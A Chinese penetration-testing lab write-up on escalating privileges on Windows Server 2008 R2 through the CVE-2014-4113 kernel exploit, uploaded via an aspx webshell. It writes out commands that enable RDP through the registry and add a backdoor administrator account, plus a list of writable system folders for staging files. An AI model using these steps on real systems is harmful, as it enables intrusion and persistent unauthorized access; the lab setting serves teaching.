当前位置:网站首页>111.网络安全渗透测试—[权限提升篇9]—[Windows 2008 R2内核溢出提权]
111.网络安全渗透测试—[权限提升篇9]—[Windows 2008 R2内核溢出提权]
2022-07-07 09:58:00 【qwsn】
我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
文章目录
一、Windows内核溢出提权[2008]
1、内核溢出提权背景:
在winserver2008 R2中,服务器默认是支持aspx的。所以默认都是可以执行一些命令。如果没有进行补丁修复可以利用一些溢出提权工具,进行提权。
2、CVE-2014-4113-Exploit
这个版本的提权工具,可以对winserver2008 的系统进行溢出提权
3、内核溢出提权过程:
(1)实验环境:
1.靶机环境:
(1)虚拟机Windows2008【target_sys.com】【192.168.97.131】
(2)脚本语言环境:php/asp语言环境存在
2.攻击机:
(1)虚拟机Win7【192.168.97.130】
(2)Firefox+Burpsuite+蚁剑+大马
3.网络环境:
(1)VMware搭建的NAT网络
(2)靶机链接:
URL:http://target_sys.com/upload.php
(3)实验过程:
第一步:访问靶机链接,利用MIME突破白名单类型限制,上传up.aspx大马
【以上过程略】以下进行提权过程:
第二步:连接up.aspx大马【密码为admin】,并点击[CmdShell]模块,调用cmd.exe执行whoami命令,查看当前用户信息,发现权限很低
在winserver2008 R2中,服务器默认是支持aspx的。所以默认都是可以执行一些命令:
第三步:点击[CmdShell]模块,调用cmd.exe执行systeminfo命令,把结果复制出来,然后利用wes.py脚本扫描漏洞,但是没有扫出来
扫描结果:扫描失败
第四步: 把systeminfo的信息放入该网址中,检索相关提权exp,最后发现CVE-2014-4113可以提权。同时我们通过msfconsole,键入search kernel也可以检索到一些exp,依次进入然后键入info,发现一些是2008R2的提权exp,下图中的ms14-058就是对应着CVE-2014-4113。

第五步:点击[File Manager]文件管理模块,上传rw.aspx用来扫描可读可写文件夹
第六步:访问刚刚上传的rw.aspx大马,扫描可读可写文件夹
如下图所示,我们扫描到了一些可读可写的文件夹,经过不完全测试,发现网站根目录下可以利用。

第七步:回到刚刚的大马,上传CVE-2014-4113-Exploit的exp到c:\inetpub\wwwroot\target_sys.com下
第八步:点击[CmdShell]模块,调用cmd执行刚刚传上去的cve-2017-4113的exp,如下所示,成功溢出

第九步:依次执行以下命令,开启3389端口,新增管理员组用户demo1,最后再远程连接靶机。
/c c:\inetpub\wwwroot\target_sys.com\Win64.exe "netstat -ano" #查看端口状态
/c c:\inetpub\wwwroot\target_sys.com\Win64.exe "REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f" #开启3389
/c c:\inetpub\wwwroot\target_sys.com\Win64.exe "netstat -ano" #验证是否开启3389
/c c:\inetpub\wwwroot\target_sys.com\Win64.exe "net user demo1 123 /add"#添加用户demo1/213
/c c:\inetpub\wwwroot\target_sys.com\Win64.exe "net localgroup administrators demo1 /add" #把demo1用户加入管理员组
/c c:\inetpub\wwwroot\target_sys.com\Win64.exe "net user" #验证demo1用户是否存在
mstsc远程桌面连接:

附:常见可读写目录
≤2003可读写目录
C:\RECYCLER\
D:\RECYCLER\
E:\RECYCLER\
C:\Windows\temp\
C:\Windows\Debug\
C:\Windows\Registration\CRMLog\
C:\Documents and Settings\All Users\Documents\
≥2008可读写目录
C:\ProgramData\
C:\Windows\temp\
C:\Windows\Tasks\
C:\Windows\tracing\ //不可删
C:\Windows\debug\WIA\
C:\Windows\servicing\Sessions\
C:\Windows\servicing\Packages\
C:\Windows\Registration\CRMLog\
C:\Windows\System32\spool\drivers\color\
C:\Users\Default\AppData\ //不可删
C:\ProgramData\Microsoft\DeviceSync\
C:\ProgramData\Microsoft\Crypto\DSS\MachineKeys\
C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\
C:\ProgramData\Microsoft\User Account Pictures\ //不可删
C:\Users\All Users\Microsoft\NetFramework\BreadcrumbStore\ //不可删
C:\ProgramData\Microsoft\Windows\WER\ReportArchive\
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\
C:\Windows\syswow64\tasks\microsoft\Windows\pla\system\
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Temporary ASP.NET Files\
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Temporary ASP.NET Files\
C:\Windows\System32\catroot2\{127D0A1D-4EF2-11D1-8608-00C04FC295EE}\
C:\Windows\System32\catroot2\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\
边栏推荐
- Mastering the new functions of swiftui 4 weatherkit and swift charts
- 超标量处理器设计 姚永斌 第9章 指令执行 摘录
- R language uses the quantile function to calculate the quantile of the score value (20%, 40%, 60%, 80%), uses the logical operator to encode the corresponding quantile interval (quantile) into the cla
- STM32F1与STM32CubeIDE编程实例-315M超再生无线遥控模块驱动
- Present pod information to the container through environment variables
- Superscalar processor design yaoyongbin Chapter 9 instruction execution excerpt
- 禁锢自己的因素,原来有这么多
- 聊聊SOC启动(七) uboot启动流程三
- UP Meta—Web3.0世界创新型元宇宙金融协议
- 博客搬家到知乎
猜你喜欢

超标量处理器设计 姚永斌 第8章 指令发射 摘录

Camera calibration (2): summary of monocular camera calibration

千人規模互聯網公司研發效能成功之路

Summed up 200 Classic machine learning interview questions (with reference answers)

Swiftui tutorial how to realize automatic scrolling function in 2 seconds
![[shortest circuit] acwing1128 Messenger: Floyd shortest circuit](/img/a4/783bdcc2b97938efc77b7da6442866.png)
[shortest circuit] acwing1128 Messenger: Floyd shortest circuit

总结了200道经典的机器学习面试题(附参考答案)

The road to success in R & D efficiency of 1000 person Internet companies
![112.网络安全渗透测试—[权限提升篇10]—[Windows 2003 LPK.DDL劫持提权&msf本地提权]](/img/b6/6dfe9be842204567096d1f4292e8e7.png)
112.网络安全渗透测试—[权限提升篇10]—[Windows 2003 LPK.DDL劫持提权&msf本地提权]

人大金仓受邀参加《航天七〇六“我与航天电脑有约”全国合作伙伴大会》
随机推荐
Summed up 200 Classic machine learning interview questions (with reference answers)
Camera calibration (1): basic principles of monocular camera calibration and Zhang Zhengyou calibration
【全栈计划 —— 编程语言之C#】基础入门知识一文懂
Design intelligent weighing system based on Huawei cloud IOT (STM32)
112.网络安全渗透测试—[权限提升篇10]—[Windows 2003 LPK.DDL劫持提权&msf本地提权]
Mastering the new functions of swiftui 4 weatherkit and swift charts
[full stack plan - programming language C] basic introductory knowledge
QT | multiple windows share a prompt box class
浙江大学周亚金:“又破又立”的顶尖安全学者,好奇心驱动的行动派
VIM command mode and input mode switching
Enclosed please find. Net Maui's latest learning resources
Talk about SOC startup (IX) adding a new board to uboot
Common SQL statement collation: MySQL
MySQL安装常见报错处理大全
. Net Maui performance improvement
STM32入门开发 编写DS18B20温度传感器驱动(读取环境温度、支持级联)
Camera calibration (2): summary of monocular camera calibration
Half of the people don't know the difference between for and foreach???
R語言使用magick包的image_mosaic函數和image_flatten函數把多張圖片堆疊在一起形成堆疊組合圖像(Stack layers on top of each other)
大佬们有没有人遇到过 flink oracle cdc,读取一个没有更新操作的表,隔十几秒就重复读取
